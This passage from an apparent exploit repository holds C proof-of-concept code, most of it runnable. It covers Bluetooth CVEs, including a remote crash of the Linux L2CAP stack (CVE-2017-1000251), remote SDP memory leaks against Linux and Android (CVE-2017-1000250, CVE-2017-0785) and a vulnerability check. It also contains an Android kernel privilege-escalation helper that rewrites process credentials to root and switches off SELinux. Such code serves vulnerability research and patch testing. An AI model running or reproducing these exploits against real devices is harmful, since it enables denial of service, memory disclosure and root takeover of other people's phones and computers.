"AAAAAAAAAAAAAAAAAAAAAAAA"); 96 | 97 | send(sock_fd, buffer, total_len, 0); 98 | free(buffer); 99 | } 100 | 101 | static int send_first_bnep_req(int sock_fd) { 102 | void *buffer; 103 | int total_len; 104 | buffer = malloc(0x100); 105 | memset(buffer, 0, 0x100); 106 | 107 | total_len = parse_correct_bnep_req(buffer, 0x4, "\x11\x15\x11\x15"); //UUID_SERVCLASS_PANU 108 | 109 | send(sock_fd, buffer, total_len, 0); 110 | free(buffer); 111 | } 112 | 113 | int main(int argc ,char* argv[]){ 114 | int sock_fd, ret; 115 | int i; 116 | __le16 cont_offset; 117 | void *buf, *data, *recv_buf; 118 | int leak_req_count; 119 | char dest[18]; 120 | struct sockaddr_l2 local_l2_addr; 121 | struct sockaddr_l2 remote_l2_addr; 122 | int retry_count = 20; 123 | if(argc != 2){ 124 | printf("usage : sudo ./test TARGET_ADDR\n"); 125 | return -1; 126 | } 127 | strncpy(dest, argv[1], 18); 128 | //char dest[18] = "48:db:50:02:c6:71"; //aosp angler 129 | //char dest[18] = "dc:a9:04:86:45:cc"; // macbookpro 130 | //char dest[18] = "00:1A:7D:DA:71:14"; //linux 131 | // = "00:1a:7d:da:71:13"; //panyu 132 | while(retry_count-- > 0){ 133 | 134 | sock_fd = socket(PF_BLUETOOTH, SOCK_STREAM, BTPROTO_L2CAP); 135 | if(sock_fd == -1){ 136 | perror("[-]socket create failed : "); 137 | return -1; 138 | } 139 | 140 | memset(&local_l2_addr, 0, sizeof(struct sockaddr_l2)); 141 | local_l2_addr.l2_family = PF_BLUETOOTH; 142 | memcpy(&local_l2_addr.l2_bdaddr , BDADDR_ANY, sizeof(bdaddr_t)); 143 | 144 | 145 | ret = bind(sock_fd, (struct sockaddr*) &local_l2_addr, sizeof(struct sockaddr_l2)); 146 | if(ret == -1){ 147 | perror("[-]bind()"); 148 | goto next; 149 | } 150 | 151 | memset(&remote_l2_addr, 0, sizeof(remote_l2_addr)); 152 | remote_l2_addr.l2_family = PF_BLUETOOTH; 153 | remote_l2_addr.l2_psm = htobs(0xF); 154 | str2ba(dest, &remote_l2_addr.l2_bdaddr); 155 | 156 | if(connect(sock_fd, (struct sockaddr *) &remote_l2_addr,sizeof(remote_l2_addr)) < 0) { 157 | perror("[-]Can't connect"); 158 | if(errno == 110) 159 | goto vul; 160 | goto next; 161 | } 162 | 163 | sleep(1); 164 | 165 | send_first_bnep_req(sock_fd); 166 | 167 | 168 | send_bnep_req(sock_fd); 169 | next: 170 | close(sock_fd); 171 | } 172 | printf("[+]maybe not vulnerable\n"); 173 | return 0; 174 | vul: 175 | close(sock_fd); 176 | printf("[+]device is vulnerable\n"); 177 | return 0; 178 | } -------------------------------------------------------------------------------- /bluetooth/CVE-2017-1000251/poc_remote_dos.c: -------------------------------------------------------------------------------- 1 | //copyright @ 2 | //huahuaisadog@gmail.com 3 | 4 | /*** 5 | ***Only for linux devices*** 6 | usage: 7 | $ gcc -o test poc_remote_dos.c -lbluetooth 8 | $ sudo ./test TARGET_ADDR 9 | ***/ 10 | 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | 21 | #define __u8 unsigned char 22 | #define __le16 unsigned short 23 | #define __le32 unsigned int 24 | 25 | struct l2cap_cmd_hdr { 26 | __u8 code; 27 | __u8 ident; 28 | __le16 len; 29 | }; 30 | struct l2cap_conn_req { 31 | __le16 psm; 32 | __le16 scid; 33 | }; 34 | 35 | struct l2cap_conf_req { 36 | __le16 dcid; 37 | __le16 flags; 38 | __u8 data[0]; 39 | }; 40 | 41 | struct l2cap_conf_rsp { 42 | __le16 scid; 43 | __le16 flags; 44 | __le16 result; 45 | }; 46 | 47 | struct l2cap_conf_opt { 48 | __u8 type; 49 | __u8 len; 50 | }; 51 | 52 | struct fack_opt{ 53 | __u8 type; 54 | __u8 len; 55 | __le16 val; 56 | }; 57 | 58 | struct l2cap_conf_efs { 59 | __u8 id; 60 | __u8 stype; 61 | __le16 msdu; 62 | __le32 sdu_itime; 63 | __le32 acc_lat; 64 | __le32 flush_to; 65 | }; 66 | 67 | #define HEAD_LEN (sizeof(struct l2cap_cmd_hdr)) 68 | static int parse_conn_req(void *buffer, __u8 ident, __le16 len, void *data) { 69 | struct l2cap_cmd_hdr head; 70 | head.code = L2CAP_CONN_REQ; 71 | head.ident = ident; 72 | head.len = len; 73 | memcpy(buffer, &head, sizeof(head)); 74 | memcpy(buffer + sizeof(head), data, len); 75 | } 76 | 77 | #define L2CAP_SERV_NOTRAFIC 0x00 78 | static int parse_conn_req_efs_notrafic(void *buffer){ 79 | struct l2cap_conf_opt opt; 80 | struct l2cap_conf_efs efs; 81 | memset(&efs, 0, sizeof(efs)); 82 | opt.type = L2CAP_CONF_EFS; 83 | opt.len = sizeof(efs); 84 | efs.stype = L2CAP_SERV_NOTRAFIC; 85 | //efs.id = 0x; 86 | 87 | memcpy(buffer, &opt, sizeof(opt)); 88 | memcpy(buffer+sizeof(opt), &efs, sizeof(efs)); 89 | return sizeof(opt)+sizeof(efs); 90 | 91 | } 92 | static int parse_conf_req(void *buffer, __u8 ident, __le16 len, void *data){ 93 | struct l2cap_cmd_hdr head; 94 | struct l2cap_conf_req req; 95 | head.code = L2CAP_CONF_REQ; 96 | head.ident = ident; 97 | head.len = len + sizeof(req); 98 | req.dcid = 0x40; 99 | req.flags = 0; 100 | memcpy(buffer, &head, sizeof(head)); 101 | memcpy(buffer + sizeof(head), &req, sizeof(req)); 102 | memcpy(buffer + sizeof(head) + sizeof(req), data, len); 103 | return len + sizeof(req) + sizeof(head); 104 | } 105 | 106 | static int parse_conf_rsp_result_pending(void *buffer, __u8 ident, __le16 len, void *data){ 107 | struct l2cap_conf_rsp rsp; 108 | struct l2cap_cmd_hdr head; 109 | head.code = L2CAP_CONF_RSP; 110 | head.ident = ident; 111 | head.len = len + sizeof(rsp); 112 | rsp.scid = 0x40; 113 | rsp.flags = 0; 114 | rsp.result = L2CAP_CONF_PENDING; 115 | memcpy(buffer, &head, sizeof(head)); 116 | memcpy(buffer + sizeof(head), &rsp, sizeof(rsp)); 117 | memcpy(buffer + sizeof(head) + sizeof(rsp), data, len); 118 | return len + sizeof(rsp) + sizeof(head); 119 | } 120 | 121 | int main(int argc ,char* argv[]){ 122 | int sock_fd, ret; 123 | int i; 124 | void *buf, *data; 125 | char dest[18]; 126 | struct sockaddr_l2 local_l2_addr; 127 | struct sockaddr_l2 remote_l2_addr; 128 | struct fack_opt fack; 129 | __le16 psm_default = 0x1001; 130 | int retry_count = 0; 131 | 132 | if(argc != 2){ 133 | printf("usage : sudo ./test TARGET_ADDR\n"); 134 | return -1; 135 | } 136 | 137 | strncpy(dest, argv[1], 18); 138 | //char dest[18] = "48:db:50:02:c6:71"; //aosp angler 139 | //char dest[18] = "dc:a9:04:86:45:cc"; // mars macbookpro 140 | //char dest[18] = "00:1A:7D:DA:71:14"; //linux mars 141 | // = "00:1a:7d:da:71:13"; //linux panyu 142 | 143 | sock_fd = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP); 144 | if(sock_fd == -1){ 145 | perror("[-]socket create failed : "); 146 | return -1; 147 | } 148 | 149 | memset(&local_l2_addr, 0, sizeof(struct sockaddr_l2)); 150 | local_l2_addr.l2_family = PF_BLUETOOTH; 151 | memcpy(&local_l2_addr.l2_bdaddr , BDADDR_ANY, sizeof(bdaddr_t)); 152 | 153 | 154 | ret = bind(sock_fd, (struct sockaddr*) &local_l2_addr, sizeof(struct sockaddr_l2)); 155 | if(ret == -1){ 156 | perror("[-]bind()"); 157 | goto out; 158 | } 159 | 160 | memset(&remote_l2_addr, 0, sizeof(remote_l2_addr)); 161 | remote_l2_addr.l2_family = PF_BLUETOOTH; 162 | remote_l2_addr.l2_psm = htobs(psm_default); 163 | str2ba(dest, &remote_l2_addr.l2_bdaddr); 164 | 165 | while(retry_count < 5){ 166 | if(connect(sock_fd, (struct sockaddr *) &remote_l2_addr,sizeof(remote_l2_addr)) < 0) { 167 | perror("[-]Can't connect"); 168 | retry_count ++; 169 | remote_l2_addr.l2_psm = htobs(psm_default + retry_count); 170 | continue; 171 | } 172 | else 173 | break; 174 | } 175 | if(retry_count == 5) 176 | goto out; 177 | 178 | //send conn req 179 | sleep(2); 180 | buf = malloc(0x100); 181 | struct l2cap_conn_req conn_req; 182 | conn_req.psm = 0x1; 183 | conn_req.scid = 0x40; 184 | parse_conn_req(buf, 0x2, sizeof(conn_req), &conn_req); 185 | ret = send(sock_fd, buf, HEAD_LEN + 0x4, 0); 186 | 187 | //send req data 188 | sleep(2); 189 | data = malloc(0x100); 190 | int data_len = parse_conn_req_efs_notrafic(data); 191 | int total_len = parse_conf_req(buf, 0x2, data_len, data); 192 | ret = send(sock_fd, buf, total_len, 0); 193 | sleep(1); 194 | 195 | //send rsp data 196 | memset(data, 0, 0x80); 197 | fack.type = L2CAP_CONF_MTU; 198 | fack.len = 2; 199 | fack.val = 0x41; 200 | for(i = 0; i < 40; i++){ 201 | memcpy(data + i*sizeof(fack), &fack, sizeof(fack)); 202 | } 203 | total_len = parse_conf_rsp_result_pending(buf, 0x2, 40*sizeof(fack), data); 204 | ret = send(sock_fd, buf, total_len, 0); 205 | 206 | sleep(3); 207 | printf("[+]test done\n"); 208 | free(data); 209 | free(buf); 210 | out: 211 | close(sock_fd); 212 | return 0; 213 | } -------------------------------------------------------------------------------- /bluetooth/CVE-2017-1000250/poc_remote_info_leak.c: -------------------------------------------------------------------------------- 1 | //copyright @ 2 | //huahuaisadog@gmail.com 3 | 4 | /*** 5 | ***Only for linux devices*** 6 | usage: 7 | $ gcc -o test poc_remote_info_leak.c -lbluetooth 8 | $ sudo ./test TARGET_ADDR LEAK_OFFSET 9 | ***/ 10 | 11 | 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | //#include "l2cap_enviroment.h" 22 | 23 | #define __u8 unsigned char 24 | #define __le16 unsigned short 25 | #define __le32 unsigned int 26 | 27 | struct l2cap_cmd_hdr { 28 | __u8 code; 29 | __u8 ident; 30 | __le16 len; 31 | }; 32 | struct l2cap_conn_req { 33 | __le16 psm; 34 | __le16 scid; 35 | }; 36 | 37 | struct l2cap_conf_req { 38 | __le16 dcid; 39 | __le16 flags; 40 | __u8 data[0]; 41 | }; 42 | 43 | struct l2cap_conf_rsp { 44 | __le16 scid; 45 | __le16 flags; 46 | __le16 result; 47 | }; 48 | 49 | struct l2cap_conf_opt { 50 | __u8 type; 51 | __u8 len; 52 | }; 53 | 54 | struct fack_opt{ 55 | __u8 type; 56 | __u8 len; 57 | __le16 val; 58 | }; 59 | 60 | struct l2cap_conf_efs { 61 | __u8 id; 62 | __u8 stype; 63 | __le16 msdu; 64 | __le32 sdu_itime; 65 | __le32 acc_lat; 66 | __le32 flush_to; 67 | }; 68 | 69 | typedef struct sdp_pdu_hdr{ 70 | uint8_t pdu_id; 71 | uint16_t tid; 72 | uint16_t plen; 73 | } __attribute__ ((packed)) sdp_pdu_hdr_t; 74 | 75 | typedef struct { 76 | uint32_t timestamp; 77 | union { 78 | uint16_t maxBytesSent; 79 | uint16_t lastIndexSent; 80 | } cStateValue; 81 | } sdp_cont_state_t; 82 | 83 | 84 | #define HEAD_LEN (sizeof(struct l2cap_cmd_hdr)) 85 | static int parse_conn_req(void *buffer, __u8 ident, __le16 len, void *data) { 86 | struct l2cap_cmd_hdr head; 87 | head.code = L2CAP_CONN_REQ; 88 | head.ident = ident; 89 | head.len = len; 90 | memcpy(buffer, &head, sizeof(head)); 91 | memcpy(buffer + sizeof(head), data, len); 92 | } 93 | 94 | 95 | #define SDP_SVC_SEARCH_ATTR_REQ 0x6 96 | static int parse_sdp_search_attr_req(void *buffer, __le16 data_len, void *data){ 97 | sdp_pdu_hdr_t pdu_head; 98 | int i; 99 | __le16 tmp; 100 | 101 | memset(&pdu_head, 0, sizeof(pdu_head)); 102 | pdu_head.pdu_id = SDP_SVC_SEARCH_ATTR_REQ; 103 | pdu_head.tid = 0; 104 | tmp = ((data_len & 0xff) << 8 ) + ((data_len >> 8) & 0xff); 105 | pdu_head.plen = tmp; 106 | memcpy(buffer, &pdu_head, sizeof(pdu_head)); 107 | memcpy(buffer + sizeof(pdu_head), data, data_len); 108 | return data_len + sizeof(pdu_head); 109 | } 110 | 111 | int main(int argc ,char* argv[]){ 112 | int sock_fd, ret; 113 | int total_len; 114 | int i; 115 | int leek_offset; 116 | void *buf, *data, *recv_buf; 117 | unsigned int *leek_data; 118 | unsigned char *p, *timestamp; 119 | char dest[18]; 120 | struct sockaddr_l2 local_l2_addr; 121 | struct sockaddr_l2 remote_l2_addr; 122 | struct fack_opt fack; 123 | 124 | if(argc != 3){ 125 | printf("usage : sudo ./test TARGET_ADDR LEAK_OFFSET\n"); 126 | return -1; 127 | } 128 | strncpy(dest, argv[1], 18); 129 | leek_offset = strtol(argv[2], NULL, 16); 130 | //char dest[18] = "48:db:50:02:c6:71"; //aosp angler 131 | //char dest[18] = "dc:a9:04:86:45:cc"; // macbookpro 132 | //char dest[18] = "00:1A:7D:DA:71:14"; //linux 133 | // = "00:1a:7d:da:71:13"; //panyu 134 | //printf("%s\n", dest); 135 | 136 | 137 | sock_fd = socket(PF_BLUETOOTH, SOCK_STREAM, BTPROTO_L2CAP); 138 | if(sock_fd == -1){ 139 | perror("[-]socket create failed : "); 140 | return -1; 141 | } 142 | 143 | memset(&local_l2_addr, 0, sizeof(struct sockaddr_l2)); 144 | local_l2_addr.l2_family = PF_BLUETOOTH; 145 | memcpy(&local_l2_addr.l2_bdaddr , BDADDR_ANY, sizeof(bdaddr_t)); 146 | 147 | 148 | ret = bind(sock_fd, (struct sockaddr*) &local_l2_addr, sizeof(struct sockaddr_l2)); 149 | if(ret == -1){ 150 | perror("[-]bind()"); 151 | goto out; 152 | } 153 | 154 | memset(&remote_l2_addr, 0, sizeof(remote_l2_addr)); 155 | remote_l2_addr.l2_family = PF_BLUETOOTH; 156 | remote_l2_addr.l2_psm = htobs(0x1); 157 | str2ba(dest, &remote_l2_addr.l2_bdaddr); 158 | 159 | 160 | if(connect(sock_fd, (struct sockaddr *) &remote_l2_addr,sizeof(remote_l2_addr)) < 0) { 161 | perror("[-]Can't connect"); 162 | goto out; 163 | } 164 | 165 | sleep(2); 166 | 167 | //send sdp search arrt req to get timestamp 168 | buf = malloc(0x100); 169 | memset(buf, 0, 0x100); 170 | char first_data[] = "\x35\x03\x19\x01\x00" // L2CAP PATTERN 171 | "\x00\x10" // max attr byte count 172 | "\x35\x05\x0a\x00\x00\xff\xff" //aatr id list 173 | "\x00"; //continue state 174 | total_len = parse_sdp_search_attr_req(buf, sizeof(first_data) - 1, first_data); 175 | 176 | 177 | //printf("%d\n", ((sdp_pdu_hdr_t *)buf)->tid); 178 | send(sock_fd, buf, total_len,0); 179 | 180 | //recv timestamp of target 181 | recv_buf = malloc(0x1000); 182 | memset(recv_buf, 0, 0x100); 183 | sleep(1); 184 | ret = recv(sock_fd, recv_buf, 0x100, 0); 185 | if(ret == -1){ 186 | perror("[-]recv : "); 187 | goto clean; 188 | } 189 | timestamp = recv_buf + ret - 8; 190 | 191 | //send vul search_attr_req to get leak data 192 | sdp_cont_state_t vul_cstate; 193 | char tmp_data[] = "\x35\x03\x19\x01\x00" // L2CAP PATTERN 194 | "\xff\xff" // max attr byte count 195 | "\x35\x05\x0a\x00\x00\xff\xff" //aatr id list 196 | "\x08"; //continue state size 197 | char second_data[100] = {'\0'}; 198 | memcpy(&vul_cstate.timestamp, timestamp, 4); 199 | vul_cstate.cStateValue.maxBytesSent = leek_offset; //leek data offset 200 | 201 | memcpy(second_data, tmp_data, sizeof(tmp_data) - 1); 202 | memcpy(second_data + sizeof(tmp_data) - 1, &vul_cstate, 8); 203 | 204 | total_len = parse_sdp_search_attr_req(buf, sizeof(tmp_data) - 1 + 8, second_data); 205 | send(sock_fd, buf, total_len, 0); 206 | 207 | //recv leek data 208 | ret = recv(sock_fd, recv_buf, 0x1000, 0); 209 | if(ret == -1) { 210 | perror("[-]recv : "); 211 | goto clean; 212 | } 213 | leek_data = (unsigned int *)(recv_buf + 0x10); 214 | printf("leak_data : \n"); 215 | for(i = 0; i < ret/sizeof(unsigned int) ; i++) { 216 | if(i % 4 == 0) 217 | printf("%08x : ", i/4 * 0x10); 218 | printf("%08x " ,leek_data[i]); 219 | if(i % 4 == 3) 220 | printf("\n"); 221 | } 222 | 223 | printf("[+]test done\n"); 224 | clean: 225 | free(buf); 226 | free(recv_buf); 227 | out: 228 | close(sock_fd); 229 | return 0; 230 | } -------------------------------------------------------------------------------- /android_root/root_utils/get_root.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "get_root.h" 6 | 7 | #ifndef KERNEL_START 8 | #ifndef __aarch64__ 9 | #define KERNEL_START 0xc0080000 10 | #else 11 | #define KERNEL_START 0xffffffc000080000 12 | #endif 13 | #endif 14 | 15 | #define false 0 16 | #define true 1 17 | 18 | int read_pipe,write_pipe; 19 | 20 | static int write_kernel(void *target,void *buffer,unsigned size){ 21 | int ret,count = size; 22 | while(count > 0){ 23 | ret = write(write_pipe,buffer,size); 24 | if(ret != -1) 25 | count -= ret; 26 | else 27 | return -1; 28 | } 29 | count = size; 30 | while(count > 0){ 31 | ret = read(read_pipe,target,size); 32 | if(ret != -1) 33 | count -= ret; 34 | else 35 | return -1; 36 | } 37 | return 0; 38 | } 39 | 40 | static int read_kernel(void *target,void *buffer,unsigned size){ 41 | int ret,count = size; 42 | while(count > 0){ 43 | ret = write(write_pipe,target,size); 44 | if(ret != -1) 45 | count -= ret; 46 | else 47 | return -1; 48 | } 49 | count = size; 50 | while(count > 0){ 51 | ret = read(read_pipe,buffer,size); 52 | if(ret != -1) 53 | count -= ret; 54 | else 55 | return -1; 56 | } 57 | return 0; 58 | } 59 | 60 | 61 | static void *find_struct_cred_addr(void *task_struct_addr){ 62 | int ret; 63 | struct task_struct *task; 64 | void *cred_addr = NULL; 65 | unsigned int size = 0x100*sizeof(size_t),i; 66 | int *taskbuf = (int *)malloc(size); 67 | if(!taskbuf){ 68 | printf("[-]malloc task space failed\n"); 69 | return NULL; 70 | } 71 | ret = read_kernel(task_struct_addr,taskbuf,size); 72 | if(ret == -1) 73 | printf("[-]copy task struct failed\n"); 74 | else{ 75 | for(i=0;icpu_timers[0].next == task->cpu_timers[0].prev 78 | &&(unsigned long)task->cpu_timers[0].next > KERNEL_START 79 | &&task->cpu_timers[1].next == task->cpu_timers[1].prev 80 | &&(unsigned long)task->cpu_timers[1].next > KERNEL_START 81 | &&task->cpu_timers[2].next == task->cpu_timers[2].prev 82 | &&(unsigned long)task->cpu_timers[2].next > KERNEL_START 83 | &&task->real_cred == task->cred){ 84 | cred_addr = task->cred; 85 | break; 86 | } 87 | } 88 | } 89 | if(cred_addr ==NULL){ 90 | printf("[-]get cred address failed\n"); 91 | } 92 | else{ 93 | printf("[+]cred address : %p\n",cred_addr); 94 | } 95 | free(taskbuf); 96 | return cred_addr; 97 | } 98 | 99 | 100 | static int patch_cred(void *cred_addr){ 101 | int ret; 102 | struct cred *cred = (struct cred*)malloc(sizeof(struct cred)+0x40); 103 | if(!cred){ 104 | printf("[-]malloc cred failed\n"); 105 | return -1; 106 | } 107 | ret = read_kernel(cred_addr,cred,sizeof(struct cred)+0x40); 108 | if(ret == -1){ 109 | printf("[-]copy cred failed\n"); 110 | }else{ 111 | cred->uid = 0; 112 | cred->gid = 0; 113 | cred->suid = 0; 114 | cred->sgid = 0; 115 | cred->euid = 0; 116 | cred->egid = 0; 117 | cred->fsuid = 0; 118 | cred->fsgid = 0; 119 | cred->cap_inheritable.cap[0] = 0xffffffff; 120 | cred->cap_inheritable.cap[1] = 0xffffffff; 121 | cred->cap_permitted.cap[0] = 0xffffffff; 122 | cred->cap_permitted.cap[1] = 0xffffffff; 123 | cred->cap_effective.cap[0] = 0xffffffff; 124 | cred->cap_effective.cap[1] = 0xffffffff; 125 | cred->cap_bset.cap[0] = 0xffffffff; 126 | cred->cap_bset.cap[1] = 0xffffffff; 127 | ret = write_kernel(cred_addr,cred,sizeof(struct cred));//sizeof(struct cred)); 128 | if(ret == -1){ 129 | printf("[-]write cred to kernel stack failed\n"); 130 | }else{ 131 | printf("[+]write cred to kernel stack succuess\n"); 132 | } 133 | } 134 | free(cred); 135 | return ret; 136 | } 137 | 138 | static int patch_selinux(void *security_addr){ 139 | int ret; 140 | struct task_security_struct *security = (struct task_security_struct *)malloc(sizeof(struct task_security_struct)); 141 | security->osid = 1; 142 | security->sid = 1; 143 | security->exec_sid = 0; 144 | security->create_sid = 0; 145 | security->keycreate_sid = 0; 146 | security->sockcreate_sid = 0; 147 | ret = write_kernel(security_addr,security,sizeof(struct task_security_struct)); 148 | if(ret == -1){ 149 | printf("[-]selinux patch failed\n"); 150 | }else{ 151 | printf("[+]selinux patch ok\n"); 152 | } 153 | return 0; 154 | } 155 | 156 | int patch_selinux_by_change_switch(void *selinux_enforcing,void *selinux_enabled){ 157 | unsigned int value = 0; 158 | int ret1 = write_kernel(selinux_enforcing,&value,sizeof(int)); 159 | int ret2 = write_kernel(selinux_enabled,&value,sizeof(int)); 160 | if(ret1 == -1 || ret2 == -1){ 161 | printf("[-]selinux patch failed\n"); 162 | }else{ 163 | printf("[+]selinux patch ok\n"); 164 | } 165 | return 0; 166 | } 167 | 168 | static void *get_stask_struct_addr(struct thread_info_head *thread_info){ 169 | void *task_struct_addr = NULL; 170 | int ret; 171 | ret = read_kernel(&thread_info->task,&task_struct_addr,sizeof(struct task_struct *)); 172 | if(ret == -1) 173 | printf("[-]get stask struct address failed\n"); 174 | else 175 | printf("[+]task_struct : %p\n",task_struct_addr); 176 | return task_struct_addr; 177 | } 178 | 179 | 180 | static int prepare_pipe(){ 181 | int ret; 182 | int pipe_fd[2]; 183 | ret = pipe(pipe_fd); 184 | if(ret == -1){ 185 | printf("[-]pipe failed\n"); 186 | return false; 187 | } 188 | read_pipe = pipe_fd[0]; 189 | write_pipe = pipe_fd[1]; 190 | return true; 191 | } 192 | 193 | 194 | int get_root_after_addrlimit_patched(void *_thread_info){ 195 | void *task_struct_addr,*cred_addr; 196 | struct thread_info_head *thread_info; 197 | int ret; 198 | if(!prepare_pipe()){ 199 | return false; 200 | } 201 | thread_info = (struct thread_info_head *)_thread_info; 202 | task_struct_addr = get_stask_struct_addr(thread_info); 203 | if(!task_struct_addr){ 204 | return false; 205 | } 206 | cred_addr = find_struct_cred_addr(task_struct_addr); 207 | if(!cred_addr){ 208 | return false; 209 | } 210 | ret = patch_cred(cred_addr); 211 | if(ret == -1){ 212 | return false; 213 | } 214 | if( getuid() == 0){ 215 | printf("[+]root done\n"); 216 | return true; 217 | }else{ 218 | printf("[-]root failed\n"); 219 | return false; 220 | } 221 | } 222 | 223 | #define PRESENT_MASK (1ULL << 63) // get bit 63 from a 64-bit integer */ 224 | #define PFN_MASK ((1ULL << 55) - 1) // get bits 0-54 from 225 | #ifndef __aarch64__ 226 | #define PFN_MIN 0x8400 227 | #define PHYS_OFFSET 0xc0000000 228 | #else 229 | #define PFN_MIN 0x40000 230 | #define PHYS_OFFSET 0xffffffc000000000 231 | #endif 232 | 233 | #ifndef PAGE_SIZE 234 | #define PAGE_SIZE 0x1000 235 | #endif 236 | void* compute_physmap(void *usr_addr){ 237 | char *path = "/proc/self/pagemap"; 238 | FILE* fp; 239 | void *kaddr = NULL; 240 | int ret; 241 | uint64_t pentry = 0; 242 | uint64_t PFN; 243 | fp = fopen(path,"r"); 244 | if(fp == NULL){ 245 | printf("[-] /proc/self/pagemap open failed\n"); 246 | return NULL; 247 | } 248 | ret = fseek(fp,((unsigned long)usr_addr / PAGE_SIZE)*sizeof(uint64_t),SEEK_CUR); 249 | if(ret == -1){ 250 | printf("[-] /proc/self/pagemap seek failed\n"); 251 | return NULL; 252 | } 253 | ret = fread(&pentry,sizeof(uint64_t),1,fp); 254 | if(ret == -1){ 255 | printf("[-] read pagemap failed\n"); 256 | return NULL; 257 | } 258 | if((pentry & PRESENT_MASK) == 0){ 259 | printf("[-]%p is not present in physical memory\n",usr_addr); 260 | }else{ 261 | PFN = pentry & PFN_MASK; 262 | kaddr = (void *)((size_t)(PFN-PFN_MIN)*PAGE_SIZE+PHYS_OFFSET); 263 | printf("[+]PFN[%p]:%llu,target_kaddr:%p\n",usr_addr,(long long unsigned int)PFN,kaddr); 264 | } 265 | return kaddr; 266 | } -------------------------------------------------------------------------------- /bluetooth/CVE-2017-0785/poc_remote_info_leak_android.c: -------------------------------------------------------------------------------- 1 | //copyright @ 2 | //huahuaisadog@gmail.com 3 | 4 | /*** 5 | ***Only for android devices*** 6 | usage: 7 | $ gcc -o test poc_remote_info_leak_android.c -lbluetooth 8 | $ sudo ./test TARGET_ADDR LEAK_COUNT 9 | ***/ 10 | 11 | 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | 22 | #define __u8 unsigned char 23 | #define __le16 unsigned short 24 | #define __le32 unsigned int 25 | #define __u16 unsigned short 26 | struct l2cap_cmd_hdr { 27 | __u8 code; 28 | __u8 ident; 29 | __le16 len; 30 | }; 31 | struct l2cap_conn_req { 32 | __le16 psm; 33 | __le16 scid; 34 | }; 35 | 36 | struct l2cap_conf_req { 37 | __le16 dcid; 38 | __le16 flags; 39 | __u8 data[0]; 40 | }; 41 | 42 | struct l2cap_conf_rsp { 43 | __le16 scid; 44 | __le16 flags; 45 | __le16 result; 46 | }; 47 | 48 | struct l2cap_conf_opt { 49 | __u8 type; 50 | __u8 len; 51 | }; 52 | 53 | struct fack_opt{ 54 | __u8 type; 55 | __u8 len; 56 | __le16 val; 57 | }; 58 | 59 | struct l2cap_conf_efs { 60 | __u8 id; 61 | __u8 stype; 62 | __le16 msdu; 63 | __le32 sdu_itime; 64 | __le32 acc_lat; 65 | __le32 flush_to; 66 | }; 67 | 68 | typedef struct sdp_pdu_hdr{ 69 | uint8_t pdu_id; 70 | uint16_t tid; 71 | uint16_t plen; 72 | } __attribute__ ((packed)) sdp_pdu_hdr_t; 73 | 74 | typedef struct { 75 | uint32_t timestamp; 76 | union { 77 | uint16_t maxBytesSent; 78 | uint16_t lastIndexSent; 79 | } cStateValue; 80 | } sdp_cont_state_t; 81 | 82 | static void *leak_data; 83 | static int leak_count = 0; 84 | 85 | #define HEAD_LEN (sizeof(struct l2cap_cmd_hdr)) 86 | static int parse_conn_req(void *buffer, __u8 ident, __le16 len, void *data) { 87 | struct l2cap_cmd_hdr head; 88 | head.code = L2CAP_CONN_REQ; 89 | head.ident = ident; 90 | head.len = len; 91 | memcpy(buffer, &head, sizeof(head)); 92 | memcpy(buffer + sizeof(head), data, len); 93 | } 94 | 95 | 96 | #define SDP_SVC_SEARCH_ATTR_REQ 0x6 97 | static int parse_sdp_search_attr_req(void *buffer, __le16 data_len, void *data){ 98 | sdp_pdu_hdr_t pdu_head; 99 | __le16 tmp; 100 | 101 | memset(&pdu_head, 0, sizeof(pdu_head)); 102 | pdu_head.pdu_id = SDP_SVC_SEARCH_ATTR_REQ; 103 | pdu_head.tid = 0; 104 | tmp = ((data_len & 0xff) << 8 ) + ((data_len >> 8) & 0xff); 105 | pdu_head.plen = tmp; 106 | memcpy(buffer, &pdu_head, sizeof(pdu_head)); 107 | memcpy(buffer + sizeof(pdu_head), data, data_len); 108 | return data_len + sizeof(pdu_head); 109 | } 110 | 111 | #define SDP_PDU_SERVICE_SEARCH_REQ 0x02 112 | static int parse_sdp_service_search_req(void *buffer, __le16 data_len, void *data){ 113 | sdp_pdu_hdr_t pdu_head; 114 | __le16 tmp; 115 | 116 | memset(&pdu_head, 0, sizeof(pdu_head)); 117 | pdu_head.pdu_id = SDP_PDU_SERVICE_SEARCH_REQ; 118 | pdu_head.tid = 0; 119 | tmp = ((data_len & 0xff) << 8 ) + ((data_len >> 8) & 0xff); 120 | pdu_head.plen = tmp; 121 | 122 | memcpy(buffer, &pdu_head, sizeof(pdu_head)); 123 | memcpy(buffer + sizeof(pdu_head), data, data_len); 124 | return data_len + sizeof(pdu_head); 125 | } 126 | 127 | 128 | static int l2cap_set_mtu(int sock_fd, __le16 imtu, __le32 omtu) { 129 | int ret; 130 | struct l2cap_options option_arg; 131 | socklen_t len ; 132 | memset(&option_arg, 0 ,sizeof(option_arg)); 133 | 134 | ret = getsockopt(sock_fd, SOL_L2CAP, L2CAP_OPTIONS, &option_arg, &len); 135 | if(ret == -1){ 136 | perror("[-]getsockopt failed : "); 137 | return -1; 138 | } 139 | 140 | option_arg.imtu = imtu; 141 | option_arg.omtu = omtu; 142 | 143 | ret = setsockopt(sock_fd, SOL_L2CAP, L2CAP_OPTIONS, &option_arg, sizeof(option_arg)); 144 | if(ret == -1){ 145 | perror("[-]setsockopt failed : "); 146 | return -1; 147 | } 148 | return 0; 149 | } 150 | 151 | static int send_first_req(int sock_fd){ 152 | void *buf; 153 | char data[] = "\x35\x03\x19\x01\x00" // L2CAP PATTERN 154 | "\x00\x10" //max reply 155 | "\x00"; // CONTINUATION STATE 156 | int total_len; 157 | 158 | buf = malloc(0x100); 159 | memset(buf, 0, 0x100); 160 | total_len = parse_sdp_service_search_req(buf, sizeof(data) - 1, data); 161 | send(sock_fd, buf, total_len, 0); 162 | free(buf); 163 | } 164 | 165 | 166 | static void append_leak_data(void *recv_buf, int recv_size) { 167 | if(recv_size < 0x15) 168 | return; 169 | memcpy(leak_data + leak_count, recv_buf + 0x9, recv_size - 0x9 - 0x3); 170 | leak_count += recv_size - 0x9 - 0x3; 171 | } 172 | 173 | static __le16 get_cont_offset(int 